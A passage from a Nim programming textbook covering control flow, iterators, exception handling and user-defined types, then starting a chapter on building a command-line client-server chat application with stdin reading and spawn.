unsafe and often leads to errors. I encourage you to experiment with these collection types to gain a deeper insight into how they work. You’ll be using these types throughout the book and whenever you write Nim programs. 2.4 Control flow There are many ways to control the flow of execution in Nim. The most common is the if statement, which you’ve already seen in action in section 2.1. The if statement is a conditional statement: when its condition is true, its body is executed. Nim’s if statement is similar to the if statement in other languages. It sup- ports multiple “else if” blocks specified using the elif keyword and an “else” block using the else keyword. if age > 0 and age <= 10: echo("You're still a child") elif age > 10 and age < 18: echo("You're a teenager") else: echo("You're an adult") Licensed to <null> 44 CHAPTER 2 Getting started Switch statements are also supported, although in Nim they’re known as case state- ments because they begin with the case keyword. They reduce repetition when you need to handle many different conditions. case variable of "Arthur", "Zaphod", "Ford": echo("Male") of "Marvin": echo("Robot") of "Trillian": echo("Female") else: echo("Unknown") Where the Nim case statement differs from the ones in other languages is in its lack of fall-through, which is the continuing execution of further case statements until a break keyword is used. Fall-through enables multiple values to match the same code block, but it usually requires a large number of break keywords to be used. Nim still allows multiple values to match the same code block, but it uses a different syntax. An of branch in a case statement can contain a list of values to be matched, as well as a range, similar to the ranges used in set constructors. For example, matching every number from 0 to 9 can be done like this: of 0 .. 9:. In Nim, every statement can be an expression. One case where this is useful is when you wish to assign a value depending on a condition: let ageDesc = if age < 18: "Non-Adult" else: "Adult" You can use the case statement as an expression in a similar way. The flow of your program can also be controlled using loops. There are two loop- ing statements in Nim. You’ve already seen examples of the for loop. There’s also a while loop that you can use. The while loop is the most basic of the looping statements. It consists of a condi- tion that gets evaluated before each loop. If that condition is true, the loop continues. var i = 0 while i < 3: echo(i) i.inc This code would output the following: 0 1 2 Just like in other languages, the continue and break keywords allow you to control a loop. The continue keyword will skip the current iteration and restart from the top of the loop body. The break keyword will end the iteration. Loops while the variable i is less than 3 Declares a new mutable variable and assigns it the value 0 Increments the i variable (adds 1 to its current value) Displays the current value of the variable i Licensed to <null> 45 Control flow You can also nest looping statements, and you may wonder how to break out of multiple loops at once. This can be solved by specifying a label for the break keyword. The label must be defined by the block keyword, and breaking to that label will cause the execution to break out of every loop inside that block. block label: var i = 0 while true: while i < 5: if i > 3: break label i.inc Another feature of the block keyword is that it introduces a new scope whenever it’s used. Nim supports the concept of iterators. These are similar to procedures, but they yield values to their caller multiple times, instead of returning just once. An iterator can be specified in a for statement, and it’s then advanced after each iteration. The value that it yields is available in the body of the for statement. iterator values(): int = var i = 0 while i < 5: yield i i.inc for value in values(): echo(value) The preceding example produces the following output: 0 1 2 3 4 There are many general iterators that work on sequences and other collection types, and there are also specific iterators like the walkFiles iterator, which, when given a pattern, iterates over the files in the current directory that match that pattern. For example, to find all the files ending with a .nim extension in the current directory, you’d do something like this: import os for filename in walkFiles("*.nim"): echo(filename) The for loop in Nim is most similar to the one in Python, as shown in figure 2.2. Loops while variable i is less than 5 This loop will iterate forever. Once i is greater than 3, jumps out of the block named label Increments the variable i Execution will resume here once break label is called. Imports the os module that defines the walkFiles iterator Iterates over each filename with the .nim extension Displays the filename during each iteration Licensed to <null> 46 CHAPTER 2 Getting started In Python, you can iterate over any object that defines the __iter__ method, and this can be done implicitly without needing to call the __iter__ method in the for loop. Nim supports a similar mechanism: for item in @[1, 2, 3]: echo(item) Nim will implicitly call an iterator by the name of items. Which specific items iterator will be called depends on the type of the value specified after the in keyword; in this case it’s seq[int]. If an items iterator that matches the type can’t be found, the compilation will fail with a type mismatch error, as in this example: for i in 5: echo i Here’s the compilation output: file.nim(1, 10) Error: type mismatch: got (int literal(5)) but expected one of: system.items(a: array[IX, T]) system.items(E: typedesc[enum]) system.items(s: Slice[items.T]) system.items(a: seq[T]) system.items(a: openarray[T]) system.items(a: string) system.items(a: set[T]) system.items(a: cstring) The items iterator is only invoked when you specify one variable in the for loop; a pairs iterator is invoked for two variables. The values that the pairs iterator typically returns are the current iteration index and the current item at that index: for i, value in @[1, 2, 3]: echo("Value at ", i, ": ", value) for keyword One or more loop variables in keyword Iterator call or variable Loop body Figure 2.2 for loop syntax in Nim Licensed to <null> 47 Exception handling The preceding code will produce this output: Value at 0: 1 Value at 1: 2 Value at 2: 3 There’s no default name for an iterator yielding three values or more. 2.5 Exception handling Exceptions are yet another method for controlling flow. Raising an exception will cause the execution of a program to cease until the exception is caught or the pro- gram exits. An exception is an object consisting of a message describing the error that occurred. A new exception is raised using the raise keyword. You can create new exceptions using the newException procedure. Handling exceptions in Nim is very similar to Python. Exceptions are caught using a try statement, with one or more except branches specifying the exception type to be handled. One of the most powerful features of Nim is its brilliant tracebacks. When an excep- tion is raised and not caught, your program will display a stack traceback and quit. proc second() = raise newException(IOError, "Somebody set us up the bomb") proc first() = second() first() The preceding code will produce the following output: Traceback (most recent call last) file.nim(7) file file.nim(5) first file.nim(2) second Error: unhandled exception: Somebody set us up the bomb [IOError] A traceback gives you a list of events leading up to the crash of your program. It’s a very useful debugging tool. Each line in the traceback is a call to a procedure. The number in parentheses is the line number where the call was made, and the name on the right is the procedure that was called. These tracebacks will be your best friend throughout your time working with the Nim programming language. In order to stop your program from crashing, you must handle the exceptions and decide what your program should do when these exceptions occur. You can handle Listing 2.10 Raising an exception Licensed to <null> 48 CHAPTER 2 Getting started exceptions by wrapping the affected code in a try statement. The top part of a try statement consists of the try keyword, followed by a colon, which is then followed by indented code. The bottom part of a try statement consists of one or more except branches—each except branch matches a specific exception that should be caught. If an except branch omits the exception type, then all exceptions are caught. When an exception is matched, the corresponding except branch’s code is executed. try: except ErrorType: except: Let’s rewrite listing 2.10 to handle the exception by using a try statement. proc second() = raise newException(IOError, "Somebody set us up the bomb") proc first() = try: second() except: echo("Cannot perform second action because: " & getCurrentExceptionMsg()) first() The exception is raised in the second procedure, but because it’s called under the try statement, the exception is caught. The except branch is then executed, leading to the following output: Cannot perform second action because: Somebody set us up the bomb You should now know the basics of exception handling in Nim and be able to debug and handle simple exceptions on your own. Exceptions are a very important feature of the Nim programming language, and we’ll continue to discuss them throughout this book. Listing 2.11 The try statements Listing 2.12 Handling an exception using a try statement Code statements that will be checked for exceptions Code statements that will be executed when the code under the try raises an ErrorType exception Code statements that will be executed when the code under the try raises another type of exception Raises a new IOError exception The try statement will catch any exceptions raised in its body. Catches all exceptions Returns the message of the exception that was just caught Displays a message stating that the second action couldn’t be performed and displaying the message of the exception that was caught Licensed to <null> 49 User-defined types 2.6 User-defined types The ability to define custom data structures is essential in many programming lan- guages. Defining them in Nim is simple, and although they support some OOP fea- tures, their semantics don’t unnecessarily bog you down in any OOP concepts. Nim features three different kinds of user-defined types: objects, tuples, and enums. This section explains their main differences and use cases. 2.6.1 Objects A basic object definition in Nim is equivalent to a C struct type and can be passed to C via the FFI. All types are defined under a type section. An object definition can be placed under the type keyword or alongside it. The definition starts with the name of the type, followed by =, the object keyword, a new line, and then an indented list of fields: type Person = object name: string age: int A type section can define multiple types, and you should collect related types under it. Just like procedures, types must be defined above the code in which they’re used. A variable utilizing the Person type can be declared just like any other variable: var person: Person You can initialize the Person type using the object construction syntax: var person = Person(name: "Neo", age: 28) You can specify all, some, or none of the fields. The type is an object, so its memory will be allocated on the stack. Data types that are stored on the stack can’t be nil in Nim, so this extends to the Person type. When you’re defining a new variable, you can’t change whether it’s defined on the stack or on the heap. You must change the type definition itself. You can use the ref object keywords to define a data type that will live on the heap. Types defined with the ref keyword are known as reference types. When an instance of a reference type is passed as a parameter to a procedure, instead of passing the underlying object by value, it’s passed by reference. This allows you to modify the orig- inal data stored in the passed variable from inside your procedure. A non-ref type passed as a parameter to a procedure is immutable. type PersonObj = object name: string age: int PersonRef = ref PersonObj Listing 2.13 Mutable and immutable parameters When both non-ref and ref types are defined, the convention is to use an Obj suffix for the non-ref name, and a Ref suffix for the ref name. In this case, you don’t need to repeat the definition. Licensed to <null> 50 CHAPTER 2 Getting started proc setName(person: PersonObj) = person.name = "George" proc setName(person: PersonRef) = person.name = "George" The preceding listing gives you a small taste of the behavior that ref and non-ref types exhibit. It also introduces the syntax used to access the fields of an object and to assign new values to these fields. 2.6.2 Tuples Objects aren’t the only way to define data types. Tuples are similar to objects, with the key difference being that they use structural typing, whereas objects use nominative typing. This will fail. You can’t modify a non-ref parameter because it might have been copied before being passed to the procedure. The parameter is said to be immutable. This will work because PersonRef is defined as a ref. Nominative vs. structural typing The key difference between nominative typing and structural typing is the way in which equivalence of types is determined. Consider the following example: type Dog = object name: string Cat = object name: string let dog: Dog = Dog(name: "Fluffy") let cat: Cat = Cat(name: "Fluffy") echo(dog == cat) The compiler gives an error because the Dog and Cat types aren’t equivalent. That’s because they were defined separately with two different names. Now let’s replace the object with tuple: type Dog = tuple name: string Cat = tuple name: string let dog: Dog = (name: "Fluffy") let cat: Cat = (name: "Fluffy") echo(dog == cat) Error: type mismatch: got (Dog, Cat) true Licensed to <null> 51 User-defined types There are many different ways that tuples can be defined. The two most compact ways are shown here: type Point = tuple[x, y: int] Point2 = (int, int) You’ll note that a tuple doesn’t need to define the names of its fields. As long as the order and type of the values in two tuple types match, their types are considered to be the same. let pos: Point = (x: 100, y: 50) doAssert pos == (100, 50) When a tuple’s fields have no names, you can still access them by using the indexing operator: []. When a name is defined, the fields can be accessed in the same way that object fields can be accessed. Nim also supports tuple unpacking. A tuple’s fields can be assigned directly to multi- ple identifiers. Here’s an example: let pos: Point = (x: 100, y: 50) let (x, y) = pos let (left, _) = pos doAssert x == pos[0] doAssert y == pos[1] doAssert left == x Tuples are useful for lightweight types with few fields. They’re most commonly used as a way to return multiple values from procedures. 2.6.3 Enums An enum or enumerated type is the third and final type that I’ll introduce in this sec- tion. Nim enums are very similar to ANSI C’s enums. An enum defines a collection of identifiers that have some meaning attached to them. In Nim, enums have an order attached to them, which means they’re ordinal types and can be used in case statements and as the base type of sets. In this case, the compiler is happy to compile this code. The resulting executable dis- plays the message “true,” because the dog and cat variables contain the same data. The compiler doesn’t look at the names of the type; instead, it looks at their structure to determine whether they’re equivalent. That’s the fundamental difference between tuples and objects. You can specify any name, as long as the number of fields on the left of the equals sign is the same as the number of fields in the tuple. You can use a single underscore (_) in order to discard fields. Licensed to <null> 52 CHAPTER 2 Getting started type Color = enum colRed, colGreen, colBlue let color: Color = colRed Listing 2.14 defines a new Color enum. You’ll note that when specifying the values, you don’t need to prefix them with the name of the enum—I added a prefix to each value to make them a little bit more distinguishable. There’s a pragma called pure that makes it mandatory to prefix each of the enum’s values with the name of that enum, followed by a dot. type Color {.pure.} = enum red, green, blue let color = Color.red Depending on your use case, you may wish to prefix the enum values manually with something that’s shorter than the enum’s name, or you can let Nim enforce the prefix automatically with the pure pragma. Enums can be used to create a collection of meaningful identifiers; they’re most com- monly used to denote flags. This section gave you a small taste of the different ways types can be defined in Nim. Nim’s type system is very powerful, and this was by no means an extensive description of it all. You’ll find out more about Nim’s type system throughout this book. Chapter 9, in particular, will introduce you to generics, which are a very power- ful feature of Nim’s type system. Listing 2.14 Enumerator type Pragmas Pragmas are language constructs that specify how a compiler should process its input. They’re used in Nim fairly often, and depending on their type, they can be applied to the whole file or to a single definition. You can also define your own pragmas using macros, which you’ll learn more about in chapter 9. For a list of pragmas, take a look at the Nim manual: http://nim-lang.org/docs/ manual.html#pragmas. Licensed to <null> 53 Summary 2.7 Summary  Nim uses indentation to delimit scope and uses # for comments.  The basic types include int, float, char, string, and bool.  Mutable and immutable variables can be defined using the var and let key- words, respectively.  A value assigned to a constant must be computable at compile time.  Procedures are defined using the proc keyword.  The result variable is implicitly defined in every procedure with a return type.  An array stores a constant number of items.  A sequence can grow dynamically at runtime.  The flow of your application can be controlled via the if and case statements.  One or more statements can be executed multiple times with the while statement.  Collection types can be iterated through using the for statement.  A try statement can be used to handle exceptions at runtime.  Multiple different data types can be defined under a single type section.  Non-reference types can’t be modified from inside a procedure.  Tuples can be used to return multiple values from a single procedure. Licensed to <null> Licensed to <null> Part 2 Nim in practice Now that you know the basics of Nim, you’re ready to move on to writing some software. In chapter 3, you’ll be developing a simple but functional chat application. This chapter will mainly teach you about asynchronous sockets, but you’ll also learn something about parsing and generating JSON, reading text from the stan- dard input stream, and using Nim’s module system. Chapter 4 focuses on the standard library, showing you usage examples of various algorithms and data structures defined there. It also offers a more in- depth look at the module system. Chapter 5 looks at package management, which is extremely common nowa- days. Package managers are useful because they offer an easy way to install third- party libraries for use in your applications. Chapter 6 is about parallelism. This is an important topic as it allows for some powerful optimizations, especially in today’s multicore world. In this chapter we’ll look at a parsing problem that’s easy to parallelize. Different parsing meth- ods are also demonstrated. Chapter 7 leads you through the development of a significantly simplified Twitter clone. You’ll learn how a web application is created using the Jester web framework, how HTML can be generated using Nim’s filters, and how to store data in an SQLite database. Licensed to <null> Licensed to <null> 57 Writing a chat application In the previous chapter, you learned the basics of the Nim programming language, including the syntax, some of the built-in types, how to define variables and proce- dures, how to use control-flow statements, and much more. In this chapter, you’ll build on and solidify that knowledge by developing a fully functional chat application. You’ll also learn many new concepts that are essential to the development of certain applications. In particular, you’ll do the following:  Build a command-line interface, which can be used to ask the user for input.  Learn how to use sockets to transfer data over networks, such as the internet. This chapter covers  Asking the user for input  Creating a command-line interface  Parsing and generating JSON  Transferring data over the network  Using and creating modules Licensed to <null> 58 CHAPTER 3 Writing a chat application  Use a JSON parser to build a simple chat protocol. The application will use this protocol to exchange messages in a standard and consistent manner.  Learn how to use modules to separate your code into standalone units, which will make your code more reusable. With the popularity of the internet, computer networks have become increasingly important. The most basic feature of the internet is the transfer of data, but imple- menting this feature isn’t always easy at the programming language level. In creating this chapter’s chat application, you’ll learn the basics of transferring data between multiple computers. By the end of this chapter, you’ll have successfully written an application consisting of two different components: a server and a client. You’ll be able to send the client to your friends and use it to chat with each other in real time over the internet. The source code for all the examples in this book is available on GitHub at https://github.com/dom96/nim-in-action-code. Let’s begin by exploring how the application will work and what it will look like. 3.1 The architecture of a chat application The main purpose of a chat application is to allow multiple people to communicate using their personal computers. One way to accomplish this is by using a network that these computers are connected to, like the internet, and sending data over it. Unlike applications such as Facebook Messenger or WhatsApp, which are primar- ily used for one-to-one communication, the chat application developed in this chapter will primarily support group communication (many-to-many) similar to Internet Relay Chat (IRC) or Slack. This means that a single message will be sent to multiple users. 3.1.1 What will the finished application look like? Let’s say I just watched the latest Game of Thrones episode and am now excited to talk with my friends about it. I’ll call them John and Grace, in case they don’t appreciate me using their real names in this book. The conversation might go something like this (no Game of Thrones spoilers, I promise). Dominik said: What did you guys think about the latest Game of Thrones episode? Grace said: I thought Tyrion was really great in it! John said: I agree with Grace. Tyrion deserves an Emmy for his performance. At the end of this chapter, you’ll have built an application that will allow this discus- sion to take place. Let’s see what the finished application will look like in the context of the preceding conversation. Listing 3.1 Conversation between me, John, and Grace about Game of Thrones Licensed to <null> 59 The architecture of a chat application I first asked John and Grace what they thought of the latest Game of Thrones episode. I did this by entering my message into the chat application and pressing the Enter key to send it (figure 3.1). Both John and Grace will receive this message on their computers, and the client application will show it to both of them in the same way (figure 3.2). Note how my mes- sage is prefixed by “Dominik said,” letting John and Grace know who sent the message. Grace can now answer my question by typing in her response and pressing Enter; John and I will receive her reply. This way, we can have a discussion over the internet rela- tively easily. This should give you an idea of what you’re aiming to achieve by the end of this chapter. Sure, it might not be as impressive as a full-blown application with a graphical user interface, but it’s a start. Now let’s move on to discussing some of the basic aspects of this application, in particular, its network architecture. NETWORK ARCHITECTURES AND MODELS There are two primary network architectures that can be used for this application: peer- to-peer networking and the client-server model. With peer-to-peer networking, there’s no server; instead, each client is connected to multiple other clients that then exchange information between each other. With the client-server model, there’s a single server to which all the clients connect. The messages are all sent to the server, and the server redistributes them to the correct clients. Figure 3.3 shows how these models compare. The client-server model is the simpler of the two, and because it works well for the kind of application that you’ll be writing, we’ll use it. Figure 3.1 My screen after I send the message Figure 3.2 John’s and Grace’s screens Licensed to <null> 60 CHAPTER 3 Writing a chat application Another thing to consider is the transport protocol, which you’ll use to transfer mes- sages in your application. The two major protocols in use today are TCP and UDP. They’re used widely for many different types of applications, but they differ in two important ways. The most important feature of TCP is that it ensures that messages are delivered to their destination. Extra information is sent along with the messages to verify that they have been delivered correctly, but this comes at the cost of some performance. UDP doesn’t do this. With UDP, data is sent rapidly, and the protocol doesn’t check whether the data arrives at its destination. This makes UDP perform better than TCP, but data transmission is less reliable. Chat applications should be efficient, but reliable delivery of messages is more important. Based on this aspect alone, TCP wins. NETWORKING There’s a vast amount of information about networking that’s outside the scope of this book. I encourage you to research this topic further if it’s of interest to you. THE CLIENT AND SERVER COMPONENTS Now that you know a bit about the networking side of things, let’s look at how the soft- ware will actually work. The plan is to create two separate applications, or components: a server component and a client component. When the server first starts, it will begin listening for connections from a client on a specific port. The port will be hardcoded into the server and chosen ahead of time so it won’t conflict with any other application. I wouldn’t want it to prevent you from enjoying a good game of Counter-Strike, would I? Once a connection on that port is detected, the server will accept it and wait for messages from it. A newly received message will be sent to any other client whose connection was previously accepted by the server. When the client first starts, it will connect to the server address that the user speci- fied on the command line. Once it successfully connects, the user of the client will be able to send messages to the server by inputting them through the command line. The client will also actively listen for messages from the server, and once a message is received, it will be displayed to the user. Figure 3.4 shows how the chat application operates in a simple use case involving three clients. Dom, John, and Grace are all running clients connected to the server. In the figure, Dom sends a “Hello” message using their client. The server will accept this message and pass it on to other clients currently connected to it. Server Client Client Client Client Client Client Client Client Indicates flow of messages Client-server Peer-to-peer Figure 3.3 Client-server vs. peer-to-peer Licensed to <null> 61 Starting the project You should now have a good idea of how the chat application will work. The next sec- tion will show you how to implement it. 3.2 Starting the project The previous section outlined how the chat application will work. This section describes the first steps needed to begin the project. This chapter is an exercise, and I encourage you to follow along, developing the application as you read it. You might find this surprising, but starting a project in Nim is very quick and easy. You can simply open your favorite text editor, create a new file, and start coding. But before you do that, you should decide on a directory layout for your project. This is entirely optional—the compiler won’t mind if you save all your code in C:\code, but doing so is bad practice. You should ideally create a new directory just for this project, such as C:\code\ChatApp (or ~/code/ChatApp). Inside the project direc- tory, create a src directory to store all your source code. In the future you can, when necessary, create other directories such as tests, images, docs, and more. Most Nim projects are laid out this way, as illustrated in the following listing. This project is small, so it will only use the src directory for now. MyAwesomeApp ├── bin │ └── MyAwesomeApp ├── images │ └── logo.png ├── src │ └── MyAwesomeApp.nim └── tests └── generictest.nim PROJECT DIRECTORY LAYOUT A good project directory layout is very beneficial, especially for large applications. It’s better to set it up sooner rather than later. Separating your application source code from your tests means that you can easily write test code that doesn’t conflict or otherwise affect your applica- tion. In general, this separation also makes code navigation easier. Now create a client.nim file in the src directory. This file will compile into a client executable and act as the client component of the chat application. You’re now ready to start writing code. Listing 3.2 Typical directory layout for a Nim project Server John Grace Hello Dom said Hello Dom said Hello Dom Figure 3.4 The operation of the chat application The root directory of the MyAwesomeApp project Holds all the executables for this project Holds all the images for this project Holds all the Nim source code files related to this project Holds all the Nim source code files that contain tests for the files in src Licensed to <null> 62 CHAPTER 3 Writing a chat application As a small test, begin by writing the following into your new client.nim file, and then save it: echo("Chat application started") To compile your new client.nim file, follow these steps. 1 Open a new terminal window. 2 cd into your project directory by executing cd ~/code/ChatApp, replacing ~/code/ChatApp with the path to your project directory. 3 Compile the client.nim file by executing nim c src/client.nim. APORIA If you’re using Aporia, you can just press F4 or select Tools > Com- pile Current File in the menu bar to compile the currently selected tab. You can also press F5 to compile and run. If you’ve done everything correctly, you should see the results shown in figure 3.5 in your terminal window. OUTPUT DIRECTORY By default, the Nim compiler will produce the execut- able beside the Nim source code file that was compiled. You can use the -o flag to change this. For example, nim c -o:chat src/client.nim will place a chat executable in the current directory. Assuming that the compilation was successful, the executable that was created by the compiler can now be started. To execute it, use the ./src/client command, or .\src\client.exe if you’re on Windows. This should display “Chat application started” on the screen and then exit. You now have a good starting point for further development. We started out slowly, and so far your application isn’t doing much. But it gives you an idea of how applica- tion development in Nim should be initiated, and it ensures that the Nim compiler works correctly on your computer. Now that you’ve made a start on this project, let’s move on to the first task: the command-line interface. Figure 3.5 Successful compilation of client.nim Licensed to <null> 63 Retrieving input in the client component 3.3 Retrieving input in the client component Applications typically expect to receive some sort of guidance from the user, such as the URL of a website to navigate to or the filename of a video to play. Applications need this guidance because, sadly, they can’t (yet) read our intentions directly from our brains. They need explicit instructions in the form of commands or mouse clicks. The simplest way to guide a piece of software is to give it an explicit command. The client component of the chat application will need the following input: the address of the server to send messages to and one or more messages to send to the server. These are the minimum inputs the user will need to provide to the chat appli- cation. You need both a way to ask the user for specific input and a way to then get the data that the user enters using their keyboard. Let’s focus on the minimum data that we need from the user. The address of the server to connect to is somewhat critical, because it’s needed before the client can do anything. We should ask the user for it as soon as the client starts. Until the client con- nects to the server, the user won’t be able to send any messages, so asking the user for a message will come after. 3.3.1 Retrieving command-line parameters supplied by the user On the command line, there are two ways you can get data from the user:  Through command-line parameters, which are passed to your application when it’s started  Through the standard input stream, which can be read from at any time Typically, a piece of information such as the server address would be passed to an application through command-line parameters, because the server address needs to be known when the application starts. In Nim, command-line parameters can be accessed via the paramStr procedure defined in the os module. But before this procedure can be used, it must be imported. Let’s extend client.nim so that it reads the first command-line parameter. Code additions are shown in bold. import os echo("Chat application started") if paramCount() == 0: quit("Please specify the server address, e.g. ./client localhost") let serverAddr = paramStr(1) echo("Connecting to ", serverAddr) Listing 3.3 Reading command-line parameters This is required in order to use the paramCount and paramStr procedures defined in the os module. Ensures that the user has specified a parameter on the command line Stops the application prematurely because it can’t continue without that parameter Retrieves the first parameter that the user specified and assigns it to the new serverAddr variable Displays the message “Connecting to <serverAddr>” to the user, where <serverAddr> is the address the user specified Licensed to <null> 64 CHAPTER 3 Writing a chat application It’s always important to check the number of parameters supplied to your executable. The paramCount procedure returns the number of parameters as an integer. The pre- ceding example checks whether the number of parameters is 0, and if so, it calls the quit procedure with a detailed message of why the application is exiting. If supplied with a message, quit first displays that message and then quits with an exit code that tells the OS that the application failed. When the user does supply the command-line parameter, the paramStr procedure is used to retrieve the first parameter supplied. An index of 1 is used because the exe- cutable name is stored at an index of 0. The first command-line parameter is then bound to the serverAddr variable. WARNING: EXECUTABLE NAME Don’t retrieve the executable name via paramStr(0), as it may give you OS-specific data that’s not portable. The getAppFilename procedure defined in the os module should be used instead. WARNING: ALWAYS USE PARAMCOUNT When accessing a parameter with paramStr that doesn’t exist (for example, paramStr(56) when paramCount() == 1), an IndexError exception is raised. You should always use paramCount ahead of time to check the number of parameters that have been supplied. The last line in listing 3.3 uses the echo procedure to display the string "Connecting to " appended to the contents of the serverAddr variable on the screen. The echo procedure accepts a variable number of arguments and displays each of them on the same line. PARSING COMMAND-LINE PARAMETERS Applications typically implement a spe- cial syntax for command-line arguments. This syntax includes flags such as --help. The parseopt module included in Nim’s standard library allows these parameters to be parsed. There are also other, more intuitive packages created by the Nim community for retrieving and parsing command-line parameters. Recompile your new client.nim module as you did in the previous section, and execute it as you did previously. As you can see in figure 3.6, the application will exit immedi- ately with the message “Please specify the server address, e.g. ./client localhost.” Now, execute it with a single parameter, as shown in the message: src/client localhost. Figure 3.7 shows that the application now displays the message “Connect- ing to localhost.” Now, try specifying different parameters and see what results you get. No matter how many parameters you type, as long as there’s at least one, the message will always consist of "Connecting to " followed by the first parameter that you specified. Figure 3.8 shows how the command-line parameters map to different paramStr indexes. Now that the client successfully captures the server address, it knows which server to connect to. You now need to think about asking the user for the messagethat they want to send. Licensed to <null> 65 Retrieving input in the client component Figure 3.6 Starting the client without any parameters Figure 3.7 Starting the client with one parameter paramStr( 0 ) paramStr( 2 ) paramStr( n) paramStr(1) paramStr( 3) Figure 3.8 The supplied command-line parameters and how to access them Licensed to <null> 66 CHAPTER 3 Writing a chat application 3.3.2 Reading data from the standard input stream Unlike the command-line parameters, which are passed to the application before it starts, messages are provided by the user in real time, in response to messages they receive from other users. This means that the application should ideally always be ready to read data from the user. When an application is running inside of a terminal or command line, characters can be typed in the terminal window. These characters can be retrieved by the applica- tion through the standard input stream. Just like in Python, the standard input stream can be accessed via the stdin variable. In Nim, this variable is defined in the implicitly imported system module, and it’s of type File, so the standard input stream can be read from just like any other File object. Many procedures are defined for reading data from a File object. Typically, the most useful is readLine, which reads a single line of data from the specified File. Add the following code to the bottom of client.nim, and then recompile and run it (you can do so quickly with the following command: nim c -r src/client.nim localhost). let message = stdin.readLine() echo("Sending \"", message, "\"") CHARACTER ESCAPE SEQUENCES The last line in listing 3.4 uses a character- escape sequence to show the double quote (") character. This needs to be escaped because the compiler would otherwise think that the string literal has ended. You’ll see that your application no longer exits immediately. Instead, it waits for you to type something into the terminal window and press Enter. Once you do so, a message is displayed with the text that you typed into the terminal window. Reading from the standard input stream will cause your application to stop execut- ing—your application transitions into a blocked state. The execution will resume once the requested data is fully read. In the case of stdin.readLine, the application remains blocked until the user inputs some characters into the terminal and presses Enter. When the user performs those actions, they’re essentially storing a line of text into the stdin buffer. Blocking is an unfortunate side effect of most input/output (I/O) calls. It means that, sadly, your application won’t be able to do any useful work while it’s waiting for the user’s input. This is a problem, because this application will need to actively stay connected to the chat server, something it won’t be able to do if it’s waiting for the user to type text into the terminal window. Figure 3.9 shows the problem that this causes. Listing 3.4 Reading from the standard input stream Reads a single line of text from the standard input stream and assigns it to the message variable. Displays the message “Sending "<message>",” where <message> is the content of the message variable, which contains the line of text the user typed into their terminal window Licensed to <null> 67 Retrieving input in the client component Before we move on to solving that problem, there’s something missing from listing 3.4. The code only reads the message once, but the aim is to allow the user to send multiple messages. Fixing this is relatively simple. You just need to introduce an infinite loop using the while statement. Simply wrap the code in listing 3.4 in a while statement as follows: while true: let message = stdin.readLine() echo("Sending \"", message, "\"") Now compile and run your code again to see for yourself what the result is. You should be able to input as many lines of text as you wish into the terminal window, until you terminate your application by pressing Ctrl-C. When you terminate your application, you should see a traceback similar to the following: Traceback (most recent call last) client.nim(9) client sysio.nim(115) readLine sysio.nim(72) raiseEIO system.nim(2531) sysFatal SIGINT: Interrupted by Ctrl-C. Terminating your application is a very good way to deter- mine which line of code is currently being executed. In the traceback, you can see that when the application was termi- nated, line 9 in client.nim was being executed. This corre- sponds to let message = stdin.readLine(), which is the blocking readLine call that waits for input from the user. Figure 3.10 shows the current flow of execution in client.nim. The main thread is blocked as it waits for input from the user. As a result, the application will sit "Hi" Status: Waiting for stdin.readLine Client Message "Sup" Message "You there?" Message Status: Sending messages to client Server Client is blocked waiting for user input. Messages are piling up because the client isn’t actively receiving them. New messages are arriving from server. Server is still trying to send more messages to the client. Figure 3.9 Problem caused by the client being blocked indefinitely The while statement will repeat the statements in its body as long as its condition is true. In this case, it will repeat the following two statements until the application is closed manually by the user. These two lines will be repeated an infinite number of times because they’re indented under the while statement. Main thread readLine echo message Data fully read Thread blocked Figure 3.10 Blocking execution of client.nim Licensed to <null> 68 CHAPTER 3 Writing a chat application idle until the user wakes it up by typing some text into the terminal window and press- ing Enter. This is an inherent issue with blocking I/O operations. You wouldn’t need to worry about it if the client only needed to react to the user’s input, but, unfortu- nately, the client must keep a persistent connection to the server in order to receive messages from other clients. 3.3.3 Using spawn to avoid blocking input/output There are a number of ways to ensure that your application doesn’t block when it reads data from the standard input stream. One is to use asynchronous input/output, which allows the application to continue execution even if the result isn’t immediately available. Unfortunately, the standard input stream can’t be read asynchronously in Nim, so asynchronous I/O can’t be used here. It will be used later, when it’s time to transfer data over a network. The other solution is to create another thread that will read the standard input stream, keeping the main thread unblocked and free to perform other tasks. Every pro- cess consists of at least one thread known as the main thread—all of the code in client .nim is currently executed in this main thread. The main thread becomes blocked when the call to readLine is made, and it becomes unblocked when the user inputs a single line into the terminal. But a separate thread can be created to make the call to read- Line, in order to leave the main thread active. The newly created thread is the one that becomes blocked. This approach of using two threads is called parallelism. We won’t look at the full details of parallelism and how it works in Nim in this chapter, but we’ll discuss it in chapter 6. A procedure can be executed in a new thread using the spawn procedure. Replace the while statement that you created previously with the following one, but don’t compile the code just yet: while true: let message = spawn stdin.readLine() echo("Sending \"", ^message, "\"") The readLine procedure returns a string value, but when this procedure is executed in another thread, its return value isn’t immediately available. To deal with this, spawn returns a special type called FlowVar[T], which holds the value that the procedure you spawned returns. The ^ operator can be used to retrieve the value from a FlowVar[T] object, but there’s no value until the spawned procedure returns one. When the FlowVar[T] object is empty, the ^ operator will block the current thread until a value has been stored. If it’s not empty in the first place, the ^ operator will return immediately with the value. That’s why the preceding code will behave much like the code in listing 3.4. The spawn keyword is used to call the readLine procedure. This will spawn a new thread and execute readLine there. The value returned from the thread isn’t immediately available, so you must read it explicitly with the ^ operator. Licensed to <null> 69 Retrieving input in the client component You can also check whether a FlowVar[T] type contains a value by using the isReady procedure. You can use that procedure to avoid blocking behavior. See figure 3.11 to see how the two different threads interact with each other. Com- pare it to figure 3.10 to see how the execution of the client changed after the intro- duction of spawn. There’s now a secondary readLine thread, but the result is the same. Both the main thread and the readLine thread become blocked, creating the same results. Generics Generics are a feature of Nim that you’ll be introduced to in full detail in chapter 9. For now, all you need to know is that FlowVar[T] is a generic type that can store values of any type. The type of the value that’s stored is specified in the square brackets. For example, the spawn stdin.readLine() expression returns a FlowVar[string] type because the return type of readLine is a string, and FlowVar wraps the return value of the spawned procedure. Applying the spawn call to any procedure that returns a string will return a Flow- Var[string] value: import threadpool proc foo: string = "Dog" var x: FlowVar[string] = spawn foo() assert(^x == "Dog") To successfully compile the preceding example, make sure you use the --threads :on flag. Data fully read readLine thread return message Main thread spawn ^message echo message readInput returned Thread blocked Thread blocked Figure 3.11 Blocking execution of client.nim with spawn Licensed to <null> 70 CHAPTER 3 Writing a chat application Listing 3.5 shows how you can modify client.nim to use spawn, with the changed lines in bold. One key point to note is that the spawn procedure is defined in the threadpool module, so you must remember to import it via import threadpool. import os, threadpool echo("Chat application started") if paramCount() == 0: quit("Please specify the server address, e.g. ./client localhost") let serverAddr = paramStr(1) echo("Connecting to ", serverAddr) while true: let message = spawn stdin.readLine() echo("Sending \"", ^message, "\"") 